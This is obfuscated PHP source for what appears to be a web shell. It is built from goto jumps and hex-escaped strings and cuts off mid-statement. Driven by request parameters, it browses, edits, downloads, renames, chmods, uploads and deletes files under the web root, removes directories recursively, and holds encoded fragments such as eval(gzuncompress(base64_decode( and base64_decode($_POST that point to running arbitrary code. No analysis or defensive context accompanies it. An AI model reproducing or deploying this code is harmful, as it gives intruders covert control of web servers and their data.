P31sB: goto VzVgu; kk0FG: if ($F4gM4 !== false) { goto orsU0; } goto CH1vu; SP6EO: goto FHW6Y; goto v0Q1l; ETQw9: if (isset($_GET["\x64\x69\x72"])) { goto fCfZQ; } goto IRUp3; Y_jOY: goto P31sB; goto x_2xh; YUyiZ: $F4gM4 = stristr($v3hoM, "\x2e\x7a\x69\160"); goto kk0FG; IRUp3: $Y1ljX = $_SERVER["\104\x4f\103\125\x4d\x45\x4e\x54\x5f\122\x4f\117\124"] . "\57" . $v3hoM; goto CLVN3; v0Q1l: fCfZQ: goto W0bHb; uMbgf: $kUjp8 = "\43\146\146\146\x38\x65\67"; goto EI8Ko; Svnev: FHW6Y: goto QtH0o; tiP26: E0wV8: goto GvHcN; EI8Ko: yQXuc: goto YUyiZ; CLVN3: $tO3kQ = $_SERVER["\104\x4f\103\x55\115\x45\116\124\x5f\x52\117\x4f\124"]; goto SP6EO; QtH0o: $Npkhx = ac9Dk($Y1ljX); goto Pxm9m; ZxNX8: rVEh3: goto uMbgf; x_2xh: orsU0: goto mTTR2; GvHcN: } goto nfUOK; Z0ioE: eMo3f: goto gdP6e; a_393: gzpBn: goto r8tk0; C0cMJ: goto mP2FX; goto oJIlv; lNx_2: echo "\74\142\x72\x3e\xd\12\11\x9\x9\123\x65\x72\166\x65\x72\x20\x49\x50\x3a\40"; goto InZQR; cDKDj: $xWYvg = array(); goto M5Adj; TzRgx: goto rzl0N; goto vazmA; RG_ti: function w4qeL($p3Afk) { goto I0Y_v; WZtLR: goto x5AK3; goto mqIYp; HyT8T: if (is_dir($YyrSc)) { goto VaAYQ; } goto Mlnbs; USB7I: n2zCl: goto kkMi3; kwuce: b0AoT: goto WZtLR; dbbc3: x5AK3: goto ia6IZ; VndL5: $rzkQ7[] = $YyrSc; goto kwuce; Bia9p: jwkvZ: goto n1onz; n1onz: closedir($RDrhf); goto cPUXB; Mlnbs: $mgYQB = stristr($YyrSc, $_SERVER["\123\x43\122\111\120\124\x5f\106\x49\114\x45\x4e\x41\x4d\105"]); goto M0GqF; lxJWI: $YyrSc = $p3Afk . "\57" . $dWgkk; goto HyT8T; I0Y_v: global $rzkQ7; goto Mlidt; Mlidt: $cIKiU = array(); goto dbtKr; Jdkx2: if (!(($dWgkk = readdir($RDrhf)) !== false)) { goto jwkvZ; } goto Yt4RC; dbtKr: if ($RDrhf = opendir($p3Afk)) { goto n2zCl; } goto A0uJE; oc3dR: W4QEl($YyrSc); goto dbbc3; Yt4RC: if (!($dWgkk != "\56" && $dWgkk != "\x2e\56")) { goto TTgZu; } goto lxJWI; cPUXB: return $rzkQ7; goto EbxdO; ia6IZ: TTgZu: goto gtL4R; M0GqF: if (!($mgYQB == false)) { goto b0AoT; } goto VndL5; YffRV: ms9G9: goto Jdkx2; kkMi3: $RDrhf = opendir($p3Afk); goto YffRV; mqIYp: VaAYQ: goto oc3dR; gtL4R: goto ms9G9; goto Bia9p; A0uJE: chmod($p3Afk, 0755); goto USB7I; EbxdO: } goto e2TW0; j95qR: if ($Erk1y = mkdir($qag9p)) { goto t8W8C; } goto JnXjv; ZJ1QG: if (isset($_POST["\156\145\167\x5f\x66\x69\154\x65\137\x6e\x61\155\145"])) { goto qQEth; } goto Pbgzh; LjCDj: yRZid: goto AMoB2; WbP_O: rAsA0: goto kxckI; bXUqM: $n7IRr++; goto y36Yt; wKVee: foreach ($qVSSk as $KHapq) { goto rb2nM; rb2nM: $mgYQB = stristr($KHapq, $ncBPG); goto Zq8Mw; Zq8Mw: if (!($mgYQB !== false)) { goto uY1eG; } goto Vwa3q; Vwa3q: $Npkhx = aC9Dk($KHapq); goto DkzDj; DkzDj: $uQts7 = str_replace($_SERVER["\x44\117\103\x55\115\x45\116\124\137\x52\117\x4f\124"], $_SERVER["\123\105\122\126\x45\x52\137\x4e\101\115\105"], $KHapq); goto bvY_g; MIO_7: GO8BX: goto WHWgL; bvY_g: echo "\x3c\164\162\x20\142\147\143\157\x6c\157\162\75\x22\x23\146\146\x66\146\146\x66\42\40\x61\154\x69\x67\x6e\75\x22\143\145\156\164\x65\x72\x22\x3e\x3c\164\144\40\141\x6c\151\x67\156\x3d\x22\x6c\145\x66\164\42\40\76" . "\74\x61\40\x73\x74\x79\x6c\145\75\x22\x74\x65\170\164\55\x64\145\143\x6f\x72\141\x74\x69\x6f\x6e\x3a\40\156\x6f\156\x65\73\42\x20\150\x72\x65\x66\75\42\150\164\x74\160\72\57\57{$VdNWK}{$QqgvR}\x3f\x65\144\x69\164\x3d{$KHapq}\x26\144\151\162\x3d{$tO3kQ}\42\76\x3c\146\x6f\x6e\x74\40\x63\157\154\x6f\162\x3d\42\x62\154\x61\x63\x6b\x22\x3e{$KHapq}\74\57\x66\x6f\x6e\x74\x3e\x3c\x2f\x61\x3e" . "\74\57\x74\x64\76\74\164\x64\x3e" . bUcnk($KHapq) . "\74\57\164\144\76\x3c\164\144\76{$Npkhx}\x3c\57\164\x64\76\x3c\164\x64\76" . gM9cQ($KHapq, "\60") . "\74\57\x74\x64\x3e\74\164\x64\x3e" . "\74\x61\x20\x68\x72\x65\146\75\42\150\164\164\160\x3a\x2f\x2f{$VdNWK}{$QqgvR}\77\x64\x65\154\x3d{$KHapq}\x26\144\151\162\75{$tO3kQ}\x22\x3e\x55\x3c\57\141\x3e\x26\x6e\x62\x73\x70\x3b" . "\74\141\x20\x68\x72\x65\146\x3d\x22\x68\164\164\x70\72\57\x2f{$VdNWK}{$QqgvR}\77\145\144\x69\164\x3d{$KHapq}\46\144\151\x72\x3d{$tO3kQ}\42\x3e\x45\74\x2f\141\x3e\46\x6e\142\x73\x70\73" . "\74\x61\x20\164\141\x72\147\x65\x74\75\42\137\142\154\x61\x6e\153\x22\x20\150\x72\x65\x66\75\x22\x68\164\x74\x70\x3a\57\x2f{$uQts7}\x22\76\117\74\57\141\76\46\x6e\x62\163\x70\x3b" . "\74\141\x20\x68\162\145\146\x3d\x22\x68\164\164\x70\x3a\x2f\x2f{$VdNWK}{$QqgvR}\x3f\x64\157\167\x6e\154\157\141\x64\x3d{$KHapq}\46\x64\151\x72\75{$tO3kQ}\42\x3e\x44\x3c\57\141\76" . "\x3c\57\164\x64\76\74\57\x74\162\x3e"; goto qQpil; qQpil: uY1eG: goto MIO_7; WHWgL: } goto YHTFb; AqiBo: $wKKLI = "\142\141\163\x65\66\64\137\x64\x65\143\x6f\x64\x65\50\44\x5f\120\x4f\x53\124"; goto VRHt2; r8tk0: echo count($L2igI) . "\x20\x66\x69\x6c\x65\x73\40\146\157\162\40\x63\150\145\x63\x6b\74\142\162\x3e"; goto v0w3L; A_wGY: function GX0Lk($ir2UM) { goto uy_rj; W23um: echo "\143\141\x6e\47\164\40\160\145\x72\155\151\x73\163\151\x6f\x6e\40\x66\x6f\162\x20\x63\x68\x6d\x6f\x64\x20\x66\151\x6c\x65\x3c\x62\x72\76"; goto YhmFC; Oi4aX: goto DtPzR; goto A2HcV; mDtHt: yiio4: goto Oi4aX; jJUO1: if (!chmod($ir2UM, 0775)) { goto xkVPJ; } goto J34KM; nxcLn: d7liB: goto jJUO1; jFtfL: $c7cHS = ''; goto mDtHt; YhmFC: $c7cHS = ''; goto ed0Du; kMeKS: JzQME: goto RBVAk; tKSnp: $c7cHS = fread($dWgkk, filesize($ir2UM)); goto IFhKo; ed0Du: DtPzR: goto DP9Ij; RBVAk: echo "\x63\x61\x6e\47\164\40\160\x65\x72\155\x69\x73\163\151\157\156\40\x66\157\162\x20\157\160\x65\156\40\x66\x69\x6c\145\x3c\142\162\x3e"; goto jFtfL; J34KM: if (!($dWgkk = fopen($ir2UM, "\x72\164"))) { goto JzQME; } goto t0mOt; S5Zsi: fclose($dWgkk); goto BEgTl; uy_rj: if (!(file_exists($ir2UM) and filesize($ir2UM) > 1)) { goto wmHM5; } goto cd3ZM; t0mOt: $c7cHS = fread($dWgkk, filesize($ir2UM)); goto S5Zsi; IFhKo: fclose($dWgkk); goto Mi9bM; BEgTl: goto yiio4; goto kMeKS; DP9Ij: qb2dt: goto rFv_R; A2HcV: xkVPJ: goto W23um; rFv_R: wmHM5: goto Wnbnz; Wnbnz: return $c7cHS; goto yHLf0; cd3ZM: if (!($dWgkk = fopen($ir2UM, "\x72\164"))) { goto d7liB; } goto tKSnp; Mi9bM: goto qb2dt; goto nxcLn; yHLf0: } goto RG_ti; npNNZ: echo "\x27\x22\54\40\x64\145\x6c\x61\171\51\x3b\15\xa\x9\x9\11\x3c\x2f\163\x63\x72\151\160\164\76\15\12\11\x9\x9"; goto mP7HR; dSG5z: goto z4_go; goto TlSR9; T0aee: taHdE: goto ZZkHo; KFvv0: if (!empty($_POST["\x6e\x65\167\137\146\151\154\x65"])) { goto DZiIV; } goto J3Im2; ncknb: goto Q_ntA; goto SChOa; bg6ai: $w8S3s = "\150\x74\x74\x70\72\57\x2f" . $VdNWK . $QqgvR . "\77\x64\151\x72\75" . $_GET["\x64\x69\162"] . "\46\x65\144\x69\164\75" . $P3pJd; goto RW3eb; VRHt2: $yMStY = "\x6d\x75\x6c\x74\151\160\x61\162\164\57\146\157\162\x6d\x2d\x64\141\x74\x61"; goto OSHo2; CpjCT: $g1bKy = array(); goto zqHQr; nEpF0: GNZed: goto L7_yf; vj5HR: fclose($Erk1y); goto DCXVe; J3Im2: if (!empty($_POST["\x6e\145\x77\x5f\144\151\162"])) { goto Bl4wU; } goto yLFr0; lgqsY: VlPfp: goto a21ov; qo8s7: rzl0N: goto ppEC0; slSKO: function E9IFV($w8S3s) { goto KuLNc; uync7: echo "\74\151\x6e\x70\x75\164\x20\156\141\x6d\x65\x3d\42\x6e\145\x77\x5f\144\x69\162\x22\40\163\x69\172\x65\75\x22\x37\x22\40\164\171\160\x65\75\42\x74\x65\170\x74\x22\40\x70\154\141\143\x65\150\157\x6c\x64\145\162\x3d\x22\155\x61\153\145\x20\144\x69\162\x22\x20\57\76"; goto cG5Sw; we1PB: echo "\74\x2f\x74\144\x3e\74\57\164\x72\76"; goto Ho7BD; ybL7q: echo "\74\146\x6f\x72\x6d\x20\x61\x63\x74\x69\157\156\40\75\40\x27" . $w8S3s . "\x27\40\155\145\164\150\157\x64\x20\75\40\x27\120\117\123\x54\x27\76"; goto x6twC; cp40H: echo "\74\146\157\x72\155\x20\x61\x63\x74\x69\x6f\x6e\x20\x3d\x20\47" . $w8S3s . "\x27\40\x6d\145\x74\x68\x6f\x64\40\75\x20\47\120\x4f\x53\x54\47\76"; goto uync7; cG5Sw: echo "\74\151\x6e\x70\x75\x74\40\164\171\x70\x65\x3d\42\163\x75\142\x6d\x69\164\x22\x20\166\141\x6c\x75\x65\x3d\x22\157\153\42\40\57\76\74\x2f\146\x6f\x72\x6d\76"; goto we1PB; OLzCZ: echo "\74\151\156\x70\x75\164\40\x6e\141\x6d\145\75\x22\x73\145\141\x72\x63\150\137\x66\151\154\x65\x22\x20\163\x69\x7a\x65\x3d\42\x37\42\x20\164\171\160\x65\x3d\x22\x74\x65\170\x74\42\x20\x70\x6c\x61\x63\145\x68\157\x6c\144\145\162\75\42\56\x73\165\x73\160\145\x63\x74\145\x64\42\40\x2f\x3e"; goto M_1wT; M_1wT: echo "\x3c\151\x6e\160\x75\x74\x20\x74\x79\x70\x65\x3d\x22\163\165\x62\155\151\164\42\x20\x76\141\x6c\x75\x65\x3d\42\x6f\x6b\42\40\x2f\76\x3c\x2f\x66\157\162\x6d\x3e"; goto ybL7q; eugKO: echo "\x3c\151\x6e\160\x75\164\40\164\x79\160\145\75\x22\163\165\x62\x6d\x69\164\x22\40\166\141\154\165\145\75\x22\157\153\42\x20\57\76\x3c\x2f\x66\x6f\162\x6d\76"; goto cp40H; b8NnQ: echo "\74\146\x6f\162\155\x20\x61\x63\x74\151\157\x6e\x20\75\x20\47" . $w8S3s . "\47\x20\x6d\145\164\x68\x6f\x64\x20\75\40\47\x50\x4f\123\x54\47\76"; goto OLzCZ; KuLNc: echo "\74\x74\144\x20\141\154\x69\147\156\x3d\42\x72\x69\147\150\164\x22\x20\143\x6f\154\x73\x70\141\x6e\75\42\62\x22\x3e"; goto b8NnQ; x6twC: echo "\x3c\151\156\x70\165\x74\40\x6e\x61\155\145\75\x22\x6e\145\167\137\x66\151\x6c\x65\x22\40\163\151\172\145\x3d\x22\x37\42\40\164\171\160\x65\75\42\x74\x65\170\x74\42\40\x70\154\141\x63\x65\150\157\x6c\x64\145\162\75\x22\155\x61\153\x65\x20\x66\x69\154\145\42\40\57\x3e"; goto eugKO; Ho7BD: } goto uqBWa; DMpvd: goto e0oPQ; goto IGVTY; M_Cgd: if (!isset($_GET["\x66\151\x6e\x64\x65\162"])) { goto Gnbma; } goto abb0P; hdrIJ: $qag9p = $_SERVER["\x44\x4f\x43\125\115\x45\x4e\124\137\122\117\x4f\x54"]; goto xvBu9; xQ_k4: y1_MN: goto TiO86; rebiA: $B55HZ = $_SERVER["\x44\117\103\125\x4d\x45\x4e\124\137\122\x4f\117\124"] . "\x2f\x67\x6f\x6f\x64\146\151\x6e\144\x65\162\144\141\x74\x61\x2e\164\x78\x74"; goto uhd1R; dURPl: goto N_peK; goto GdZMk; f_RKQ: Smp1r: goto nV3l6; pe2Nf: echo "\x3c\x74\144\76\x3c\x68\x72\76\74\x68\x72\x3e"; goto KG1Xz; uMnGt: $w8S3s = "\x68\164\x74\x70\x3a\57\x2f" . $VdNWK . $QqgvR . "\77\x64\151\162\x3d" . $_GET["\x64\x69\162"]; goto dSG5z; VuLhu: foreach ($bmi_c as $v3hoM) { goto Fnl3Y; WEj08: if (file_exists($v3hoM)) { goto VEClA; } goto GATrh; mKFeG: ZmGTr: goto npitZ; DSLAW: if (!file_exists($v3hoM)) { goto UHAi_; } goto gryuc; tZ_Pw: goto bumW0; goto o2nDJ; EFJo6: goto ZmGTr; goto Wu3fx; ydh9X: $iRWW0 = str_replace($_SERVER["\x44\117\103\125\115\x45\116\x54\137\x52\117\x4f\x54"], $_SERVER["\123\105\x52\126\105\x52\x5f\x4e\101\x4d\x45"], $v3hoM); goto WEj08; npitZ: vr2ZJ: goto j1EI0; eWwYQ: $v3hoM = $_SERVER["\x44\117\103\125\x4d\x45\x4e\124\137\122\x4f\x4f\x54"] . "\x2f" . $v3hoM; goto ydh9X; Fnl3Y: $v3hoM = strstr($v3hoM, "\x2f"); goto eWwYQ; Oo99q: bumW0: goto mKFeG; o2nDJ: UHAi_: goto Ur5oC; gryuc: echo $iRWW0 . "\x20\x2d\x20\156\x6f\x74\40\x72\145\155\x6f\166\145\x64" . "\12"; goto tZ_Pw; Wu3fx: VEClA: goto vr2j1; GATrh: echo $iRWW0 . "\x20\55\x20\156\157\164\x20\146\157\x75\156\x64" . "\12"; goto EFJo6; vr2j1: pawK5($v3hoM); goto DSLAW; Ur5oC: echo $iRWW0 . "\40\x2d\40\162\145\x6d\157\x76\145\x64" . "\12"; goto Oo99q; j1EI0: } goto Pu209; dtSuw: echo "\x9\x9\11\15\xa\11\x9\x9\15\12\x9\11\74\57\x74\144\x3e\15\12\11"; goto JAFmq; hSlgZ: $w8S3s = "\x68\164\164\x70\x3a\x2f\x2f" . $VdNWK . $QqgvR . "\77\144\151\162\75" . $_GET["\x64\x69\x72"] . "\x26\x65\x64\x69\164\x3d" . $P3pJd; goto ouA0y; QWsJM: $ncBPG = $_POST["\163\145\x61\162\143\150\x5f\146\x69\x6c\x65"]; goto VZF1A; bfuol: goto mmJe3; goto MZxU4; yjdPC: Q_eXw: goto yvXoQ; TlSR9: ppHKR: goto vy7Dk; xmi1W: $qag9p = $_SERVER["\104\x4f\x43\125\x4d\105\x4e\x54\137\x52\x4f\x4f\124"] . "\57" . $_POST["\x6e\145\x77\x5f\144\151\x72"]; goto B5p40; sIg89: goto mP2FX; goto Cpg_F; ILcQM: a1tn8: goto C6isP; Ga3AN: if (isset($_POST["\x6e\x65\x77\x5f\146\151\x6c\x65\137\156\x61\155\145"])) { goto ppHKR; } goto uMnGt; XgyOQ: readfile($_GET["\144\x6f\x77\x6e\154\157\141\x64"]); goto hiFYY; Obdrk: foreach ($eb51o as $v3hoM) { goto zWwyA; qMp2m: $uQts7 = str_replace($_SERVER["\104\117\x43\x55\x4d\x45\116\124\137\x52\117\117\x54"], $_SERVER["\123\105\122\x56\x45\x52\137\x4e\101\x4d\105"], $v3hoM); goto N0oiN; zWwyA: if (!($v3hoM !== null and $v3hoM !== '' and $v3hoM !== "\40")) { goto XzG0B; } goto POWuw; h_xN0: ly4UQ: goto zvyJN; KFsXS: XzG0B: goto nzWxx; zvyJN: $Npkhx = AC9Dk($v3hoM); goto qMp2m; N0oiN: echo "\x3c\164\162\40\142\x67\143\x6f\154\x6f\162\75\x22\x23\146\x66\146\146\x66\146\42\40\x61\154\x69\x67\156\75\42\x63\x65\x6e\164\145\162\x22\x3e\74\164\144\x20\x61\x6c\x69\147\156\x3d\x22\154\145\146\164\42\x20\x3e" . "\x3c\x61\x20\x73\x74\x79\x6c\x65\75\x22\164\x65\170\x74\x2d\144\x65\143\157\162\141\x74\x69\157\156\72\x20\156\157\156\145\x3b\42\40\150\x72\145\x66\x3d\42\x68\164\x74\160\72\x2f\57{$VdNWK}{$QqgvR}\77\x65\x64\151\x74\75{$v3hoM}\x26\x64\x69\162\x3d{$tO3kQ}\x22\76\x3c\x66\x6f\156\x74\40\x63\157\154\157\162\x3d\42\x62\x6c\141\x63\x6b\x22\x3e{$v3hoM}\74\57\146\x6f\156\x74\x3e\x3c\x2f\141\76" . "\74\57\164\x64\x3e\74\164\x64\76" . BuCNk($v3hoM) . "\x3c\57\x74\144\x3e\x3c\x74\144\x3e{$Npkhx}\74\x2f\x74\x64\x3e\74\x74\144\76" . Gm9cQ($v3hoM, "\x30") . "\74\57\164\x64\76\x3c\x74\144\x3e" . "\74\x61\40\x68\162\x65\146\x3d\42\x68\164\x74\160\72\57\57{$VdNWK}{$QqgvR}\77\x64\145\154\x3d{$v3hoM}\x26\x64\151\x72\75{$tO3kQ}\x22\76\x55\x3c\57\x61\x3e\46\x6e\x62\x73\160\x3b" . "\x3c\141\40\x68\162\x65\146\x3d\x22\x68\x74\x74\160\72\x2f\57{$VdNWK}{$QqgvR}\x3f\145\x64\151\x74\x3d{$v3hoM}\x26\x64\151\162\75{$tO3kQ}\42\x3e\105\74\57\x61\x3e\46\x6e\x62\x73\160\x3b" . "\74\141\40\164\141\162\147\x65\x74\x3d\x22\x5f\142\154\x61\156\x6b\42\40\150\162\145\x66\x3d\42\x68\164\164\160\x3a\x2f\57{$uQts7}\x22\76\117\74\x2f\x61\76\x26\156\142\163\160\x3b" . "\74\141\x20\x68\x72\145\x66\x3d\x22\x68\x74\x74\x70\72\57\57{$VdNWK}{$QqgvR}\77\144\x6f\167\x6e\x6c\x6f\141\x64\75{$v3hoM}\46\x64\151\162\x3d{$tO3kQ}\42\x3e\104\x3c\x2f\x61\x3e" . "\x3c\x2f\x74\144\76\x3c\x2f\x74\x72\76"; goto KFsXS; p_F46: goto ly4UQ; goto mdAyw; nzWxx: kqwYv: goto aliL1; POWuw: if (isset($_GET["\x64\x69\162"])) { goto dDtpp; } goto kJduB; JHAlj: $tO3kQ = $_GET["\144\151\162"]; goto h_xN0; mdAyw: dDtpp: goto JHAlj; kJduB: $tO3kQ = $_SERVER["\104\117\103\x55\x4d\x45\116\124\x5f\x52\117\117\x54"]; goto p_F46; aliL1: } goto yjdPC; k1N6X: if (!isset($_GET["\145\x64\151\x74"])) { goto VlPfp; } goto o5mWg; AaM6l: function GM9cQ($VjOK1, $h_0S7) { goto M248i; zFjIv: $OrrU2 = "\x67\162\x65\x79"; goto tIysQ; aQ_Zf: goto Vf21G; goto XX9hY; FgoFQ: return $HEbbe; goto q1u8O; WP3i2: if ($HEbbe == "\x34\64\x34") { goto GHjDU; } goto B4gnh; iwJfE: jFd4L: goto FSujR; EG5X2: if ($h_0S7 == 1) { goto ps1e1; } goto rJdmz; XhrD8: EyB12: goto E2Ny0; Zf6Qc: if ($HEbbe == "\x36\x34\64") { goto Slvnx; } goto lCu3J; wHNyY: goto E6K4H; goto UhfgS; pjl7_: $OrrU2 = "\147\162\145\x65\156"; goto Imach; GlWus: if ($HEbbe == "\67\x34\64") { goto kORyP; } goto i2DM1; tIysQ: goto Vf21G; goto hzEe5; Q0suT: yCGxf: goto MImub; NSkjb: goto Vf21G; goto iwJfE; ZLlwX: goto Vf21G; goto Q0suT; l1096: $OrrU2 = "\157\x72\x61\x6e\147\x65"; goto ZLlwX; M248i: $HEbbe = substr(decoct(fileperms($VjOK1)), -3); goto Zf6Qc; lCu3J: if ($HEbbe == "\67\65\65") { goto EyB12; } goto WP3i2; uFQ2s: goto Vf21G; goto EAYEl; q1u8O: E6K4H: goto IMF02; hzEe5: Slvnx: goto pjl7_; rJdmz: return "\74\x66\x6f\156\x74\40\x63\157\x6c\157\162\75{$OrrU2}\76" . $HEbbe . "\x3c\x2f\x66\x6f\x6e\x74\76"; goto wHNyY; FSujR: $OrrU2 = "\162\145\x64"; goto uFQ2s; UhfgS: ps1e1: goto FgoFQ; gkbyP: $OrrU2 = "\x62\162\157\x77\156"; goto NSkjb; Imach: goto Vf21G; goto XhrD8; MImub: $OrrU2 = "\147\162\145\x65\x6e"; goto Sz12x; B4gnh: if ($HEbbe == "\60\60\60") { goto jFd4L; } goto GlWus; Sz12x: Vf21G: goto EG5X2; XX9hY: GHjDU: goto gkbyP; EAYEl: kORyP: goto l1096; E2Ny0: $OrrU2 = "\43\x32\x45\x43\70\64\62"; goto aQ_Zf; i2DM1: if ($HEbbe == "\66\66\x34") { goto yCGxf; } goto zFjIv; IMF02: } goto ZzU_v; o5qhH: dss35: goto t1B4c; nV3l6: if (empty($_POST["\156\145\167\x5f\x66\x69\154\145"]) and empty($_POST["\x73\x65\x61\x72\x63\150\x5f\x66\151\x6c\x65"]) and empty($_POST["\156\145\x77\137\x64\x69\x72"])) { goto kXsok; } goto KFvv0; TKRWF: EzSWH: goto XLxnO; fLVNY: echo "\74\x3c\151\x6e\146\157\x3e\76"; goto VuLhu; ba3qP: $Ay1ZD = $QB964 - $LztR2 - 1; goto N14Yf; o5mWg: $MVQ4B = $VdNWK . $QqgvR; goto eLvFC; Eo0Zl: e0oPQ: goto OrRxQ; zsQS9: $xvhqj[] = trim($L2igI[$n7IRr]); goto aTkN9; mfteG: PAwk5($_GET["\x64\145\x6c"]); goto bfuol; ngPvI: b52zt: goto bH693; ENf9L: if (is_dir($_GET["\x64\x65\154"])) { goto n6I2I; } goto mfteG; fYIRe: $cjZuP = $qag9p; goto r6hmG; yvXoQ: if (!file_exists($aPaH9)) { goto yRZid; } goto dOPqd; Ks4Ng: echo "\74\74\x2f\x69\x6e\146\x6f\x3e\76"; goto NrlhS; lW5kn: move_uploaded_file($_FILES["\151\x6e\x70\x75\164\146\x69\x6c\x65"]["\164\155\160\137\156\141\155\145"], $uKa5l); goto gGcyK; sSV8k: $rwHC9 = str_replace($_SERVER["\x44\117\103\x55\x4d\x45\x4e\124\x5f\x52\117\117\124"], $_SERVER["\x53\x45\122\126\105\122\x5f\116\x41\x4d\105"], $_SERVER["\x53\103\x52\x49\120\x54\137\106\111\x4c\x45\116\x41\x4d\x45"]); goto oOHbG; M5Adj: echo "\11\x3c\164\162\x20\x61\154\151\147\156\75\x22\x6c\145\146\164\x22\76\xd\12\11\11\74\164\x64\x20\143\157\x6c\163\x70\141\x6e\75\x22\63\42\76\xd\12\11\11"; goto JMCir; UHeCH: if (rename($_GET["\162\x65\x6e\x61\x6d\x65"], $_POST["\156\137\156\x61\155\145"])) { goto A6_FD; } goto R_nez; is2iM: $rEKcz = "\145\x76\141\x6c\50\x67\172\x75\x6e\x63\x6f\x6d\160\x72\x65\163\163\50\x62\141\163\145\x36\64\137\x64\x65\x63\157\144\145\50"; goto NOtMC; iLTrl: if (!isset($_GET["\x64\151\163\160\141\164\x63\x68"])) { goto g41tH; } goto ob3V3; ax0TJ: if (count($L2igI) > 0) { goto gzpBn; } goto opc3v; WbrEw: $qag9p = $_SERVER["\x44\x4f\103\x55\x4d\x45\x4e\124\137\x52\117\x4f\124"]; goto beqet; nRUHt: echo "\x3c\x66\x6f\x6e\x74\40\143\157\x6c\x6f\162\x3d\42\x72\145\144\42\76\x3c\x62\76\x4e\x6f\40\106\151\x6c\145\x20\x55\x70\154\157\141\x64\145\144\74\x2f\x62\76\74\x2f\x66\x6f\156\x74\x3e"; goto qo8s7; c9gbq: E9IfV($w8S3s); goto wKVee; xVvfW: $qag9p = $_GET["\144\x69\162"]; goto y9qYU; fT2wM: function a16XM($Ia7Nm) { goto fdhuM; nDVJe: if (!($FYqvS != "\x2e" && $FYqvS != "\x2e\56")) { goto uh_3a; } goto IU1w0; U7sJb: closedir($stVxA); goto AUkFu; q9nPb: A16xm($Ia7Nm . "\57" . $FYqvS); goto NpM31; xNnQA: uh_3a: goto m1Ner; KCM8a: v2DrC: goto U7sJb; AjQlK: a69PW: goto V_emE; NpM31: W85g_: goto xNnQA; J6vdQ: unlink($Ia7Nm . "\x2f" . $FYqvS); goto TOi_y; pkDpc: at0is: goto q9nPb; IU1w0: if (is_dir($Ia7Nm . "\57" . $FYqvS)) { goto at0is; } goto J6vdQ; AUkFu: rmdir($Ia7Nm); goto sVUp0; m1Ner: goto a69PW; goto KCM8a; fdhuM: $stVxA = opendir($Ia7Nm); goto AjQlK; TOi_y: goto W85g_; goto pkDpc; V_emE: if (!(($FYqvS = readdir($stVxA)) !== false)) { goto v2DrC; } goto nDVJe; sVUp0: } goto A_wGY; twpV_: MVC0W($_GET["\165\x6e\172\x69\160"]); goto DwTlW; nS2xr: $zBJe0 = "\x41\162\x72\x61\171\50\142\x61\163\145\x36\x34\x5f\144\x65\x63\x6f\144\x65\50"; goto rK4mL; CDuMW: header("\x43\157\x6e\164\145\x6e\x74\x2d\x54\171\x70\145\72\40\x61\160\x70\x6c\x69\143\141\164\151\157\x6e\x2f\x6f\x63\x74\145\x74\55\x73\x74\x72\145\x61\155"); goto y4Mz2; QEeGq: header("\103\x6f\156\164\145\156\164\55\124\162\x61\x6e\163\x66\x65\x72\x2d\x45\156\143\x6f\x64\x69\x6e\147\x3a\x20\142\151\x6e\141\x72\171"); goto R6BuH; tkDiO: J19Ff: goto QWsJM; AMoB2: if (!file_exists($B55HZ)) { goto BCM4T; } goto FpC9Y; wxNf4: QGBmt: goto X6v5P; MNBNS: header("\x50\162\141\x67\x6d\x61\x3a\40\160\165\142\154\151\143"); goto QlMPR; cZ3fB: goto E7m1U; goto q2S4r; ZBNKM: echo $rwHC9; goto npNNZ; SBuQq: goto FZDRH; goto McX5H; q2G1V: E9ifV($w8S3s); goto qXIA4; BApvr: if (isset($_GET["\144\151\162"])) { goto eMo3f; } goto hdrIJ; fNidh: XSzMn: goto UbR8h; roUBW: $Tv4ro = array(); goto fYIRe; Cpg_F: kXsok: goto BApvr; HdZXC: echo "\11\xd\xa\11\11\11\x3c\163\x63\162\x69\160\164\40\154\141\x6e\x67\x75\x61\x67\145\x20\x3d\x20\47\152\x61\166\141\x73\143\162\x69\160\164\x27\x3e\15\12\x9\x9\11\166\141\x72\x20\x64\x65\x6c\141\171\40\75\x20\63\60\60\x3b\15\12\x9\11\x9\163\145\164\124\x69\x6d\145\157\165\164\x28\42\144\157\143\165\x6d\145\156\164\56\154\x6f\143\x61\x74\151\157\156\x2e\150\x72\145\146\x3d\x27"; goto ZBNKM; mIW1X: if (isset($_GET["\x64\x69\x72"])) { goto ljsRq; } goto ync6F; OMGvS: iPzqW: goto jM6K5; szHu9: echo "\11\11\11\x3c\146\157\162\155\x20\x6d\x65\x74\150\x6f\x64\75\42\160\x6f\163\164\42\40\x61\143\x74\151\157\x6e\75\42"; goto cWZKF; uqBWa: if (!isset($_GET["\162\x65\x6e\x61\x6d\x65"])) { goto EzSWH; } goto uVZuN; S1Dbo: $VdNWK = $_SERVER["\123\105\x52\126\x45\122\x5f\x4e\x41\x4d\105"]; goto uk_0I; X6v5P: echo "\x3c\141\x20\x68\162\145\146\75\x22\150\164\x74\x70\72\x2f\x2f" . $VdNWK . $QqgvR . "\x3f\x64\x69\x72\x3d" . $Tv4ro["{$Ay1ZD}"] . "\x22\76" . $BwPeK["{$LztR2}"] . "\74\x2f\141\x3e\x2f"; goto OMGvS; qIWmC: function PAwK5($dWgkk) { goto qm15f; O1Fxl: uBlsF: goto hRTcs; eMZWL: dXRh0: goto yYlfC; yYlfC: goto uBlsF; goto YEwQL; TqOj3: mOnfe: goto RmnTr; ERumD: LFA6P: goto O1t_Q; sWlYa: goto dXRh0; goto t6KVR; mAjg2: goto y1WMN; goto ERumD; jrZTB: return "\x6f\x6b\41"; goto sWlYa; qm15f: if (!file_exists($dWgkk)) { goto IL00H; } goto xurZ8; Zkb4e: return "\x6e\157\x20\150\141\x76\145\40\160\x65\162\x6d\151\x73\163\151\x6f\156\x20\146\x6f\x72\40\x63\150\155\157\x64\x21"; goto O1Fxl; hRTcs: y1WMN: goto VPOL1; qzflY: return "\x63\x61\x6e\40\156\157\x74\x20\144\x65\x6c\x65\164\145\41"; goto eMZWL; VPOL1: goto mOnfe; goto XuvoJ; YEwQL: Ims9u: goto Zkb4e; ILBi7: return "\x66\151\x6c\x65\x20\x6e\x6f\164\x20\145\x78\151\x73\x74\x73"; goto TqOj3; XuvoJ: IL00H: goto ILBi7; A62VJ: if (!unlink($dWgkk)) { goto ZxLve; } goto jrZTB; a4C5s: return "\x6f\x6b\x21"; goto mAjg2; t6KVR: ZxLve: goto qzflY; xurZ8: if (!unlink($dWgkk)) { goto LFA6P; } goto a4C5s; O1t_Q: if (!chmod($dWgkk, 0755)) { goto Ims9u; } goto A62VJ; RmnTr: } goto iLTrl; vEpc6: if 